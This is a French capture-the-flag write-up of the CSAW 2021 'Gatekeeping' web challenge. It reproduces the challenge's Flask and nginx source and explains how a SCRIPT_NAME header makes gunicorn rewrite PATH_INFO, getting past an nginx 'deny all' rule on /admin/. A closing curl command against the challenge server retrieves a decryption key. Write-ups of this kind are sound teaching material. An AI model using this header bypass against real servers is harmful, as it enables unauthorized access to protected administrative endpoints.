hand on a keyboard with the CSAW logo

CSAW 2021 Gatekeeping

A la Une25/02/2022

Par Aldric Berthet-Bondet et Florian Picca

Dans ce challenge, il s’agira d’outrepasser un mécanisme de restriction d’accès administrateur sur un environnement nginx en se servant d’une fonctionnalité présente dans gunicorn.

Détails

  • Catégorie : web
  • Points : 395
  • Résolutions : 133

Description

My previous flag file got encrypted by some dumb ransomware. They didn’t even tell me how to pay them, so I’m totally out of luck. All I have is the site that is supposed to decrypt my files (but obviously that doesn’t work either).

http://web.chal.csaw.io:5004

Fichiers source :

$ ls -lR
.:
total 16
-rw-rw-r-- 1 enoent enoent  329 sept. 10 02:21 Dockerfile
-rw-r--r-- 1 enoent enoent   74 sept.  3 19:32 flag.txt.enc
drwxr-xr-x 3 enoent enoent 4096 sept.  3 19:32 server
-rw-rw-r-- 1 enoent enoent  251 sept. 10 01:59 supervisord.conf

./server:
total 12
-rw-r--r-- 1 enoent enoent 1670 sept. 10 02:09 server.py
-rwxr-xr-x 1 enoent enoent 1246 sept. 10 02:09 setup.sh
drwxr-xr-x 2 enoent enoent 4096 sept.  3 19:32 templates

./server/templates:
total 4
-rw-r--r-- 1 enoent enoent 2876 sept.  3 19:32 index.html

Comprendre le problème

Nous avons accès à une interface web où nous pouvons télécharger nos fichiers chiffrés pour les déchiffrer.

Seuls les utilisateurs qui ont payé la rançon sont en mesure de récupérer leurs fichiers déchiffrés. Soumettre le flag chiffré flag.txt.enc en tant que fichier d’input ne fonctionnera pas évidemment.

Chaque fichier est chiffré avec une clé différente, identifiée par un ID :

def get_info():
    key = request.headers.get('key_id')
    if not key:
        abort(400, 'Missing key id')
    if not all(c in '0123456789ABCDEFabcdef'
            for c in key):
        abort(400, 'Invalid key id format')
    path = os.path.join('/server/keys',key)
    if not os.path.exists(path):
        abort(401, 'Unknown encryption key id')
    with open(path,'r') as f:
        return json.load(f)

Si nous regardons le code source du serveur, nous voyons que nous pouvons récupérer la clé de chiffrement en envoyant une requête GET vers un endpoint spécifique :

# === CL Review Comments - 5a7b3f
# <Alex> Is this safe?
# <Brad> Yes, because we have `deny all` in nginx.
# <Alex> Are you sure there won't be any way to get around it?
# <Brad> Here, I wrote a better description in the nginx config, hopefully that will help
# <Brad> Plus we had our code audited after they stole our coins last time
# <Alex> What about dependencies?
# <Brad> You are over thinking it. no one is going to be looking. everyone we encrypt is so bad at security they would never be able to find a bug in a library like that
# ===
@app.route('/admin/key')
def get_key():
    return jsonify(key=get_info()['key'])

Cependant, l’accès direct à ce endpoint ne fonctionne pas et provoque une erreur 403 - Forbidden :

server {
    listen 80;

    underscores_in_headers on;

    location / {
        include proxy_params;

        # Nginx uses the WSGI protocol to transmit the request to gunicorn through the domain socket 
        # We do this so the network can't connect to gunicorn directly, only though nginx
        proxy_pass http://unix:/tmp/gunicorn.sock;
        proxy_pass_request_headers on;

        # INFO(brad)
        # Thought I would explain this to clear it up:
        # When we make a request, nginx forwards the request to gunicorn.
        # Gunicorn then reads the request and calculates the path (which is put into the WSGI variable `path_info`)
        #
        # We can prevent nginx from forwarding any request starting with "/admin/". If we do this 
        # there is no way for gunicorn to send flask a `path_info` which starts with "/admin/"
        # Thus any flask route starting with /admin/ should be safe :)
        location ^~ /admin/ {
            deny all;
        }
    }
}

A en juger par les commentaires présents dans les fichiers sources, nous devons trouver un moyen de faire en sorte que gunicorn renvoie path_info="/admin/key" sans envoyer une URL avec un chemin commençant par /admin/.

Résoudre le problème

D’après le fichier docker fourni, nous savons que gunicorn et nginx sont dans leur dernière version, ce qui est étrange. L’auteur du défi ne nous a pas demandé de trouver un 0-day dans gunicorn, donc l’erreur doit sans doute provenir d’une “fonctionnalité”.

En cherchant les références path_info dans le code source de gunicorn, nous trouvons l’extrait suivant :

# set the path and script name
path_info = req.path
if script_name:
    path_info = path_info.split(script_name, 1)[1]
environ['PATH_INFO'] = util.unquote_to_wsgi_str(path_info)
environ['SCRIPT_NAME'] = script_name

Si l’en-tête SCRIPT_NAME est défini, la variable path_info est la partie du chemin située après le contenu de cet en-tête.

A titre d’exemple, si nous définissons script_name="p" et interrogeons /p/admin/, le résultat sera path_info="/admin/" !

Cela nécessite cependant la présence de deux paramètres :

  • autoriser les underscores dans les noms d’en-tête
  • transférer les en-têtes à gunicorn

Parfait ! C’est exactement ce que nous retrouvons dans le fichier de configuration nginx (valeurs positionnées sur on).

La dernière chose que nous devons faire est de récupérer l’ID de la clé liée au flag chiffré. Ceci peut être effectué facilement en requêtant le serveur comme si l’on souhaitait déchiffrer le flag et en récupérant les en-têtes de la requête :

key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d

Implémentation de la solution

La seule chose à faire maintenant est d’envoyer la requête GET suivante :

$ curl -H "key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d" -H "SCRIPT_NAME: p" http://web.chal.csaw.io:5004/p/admin/key
{"key":"b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3"}

Ayant connaissance de la clé de déchiffrement, nous avons tout ce qu’il faut pour déchiffrer le flag.

Flag : flag{gunicorn_probably_should_not_do_that}

Nos autres actualités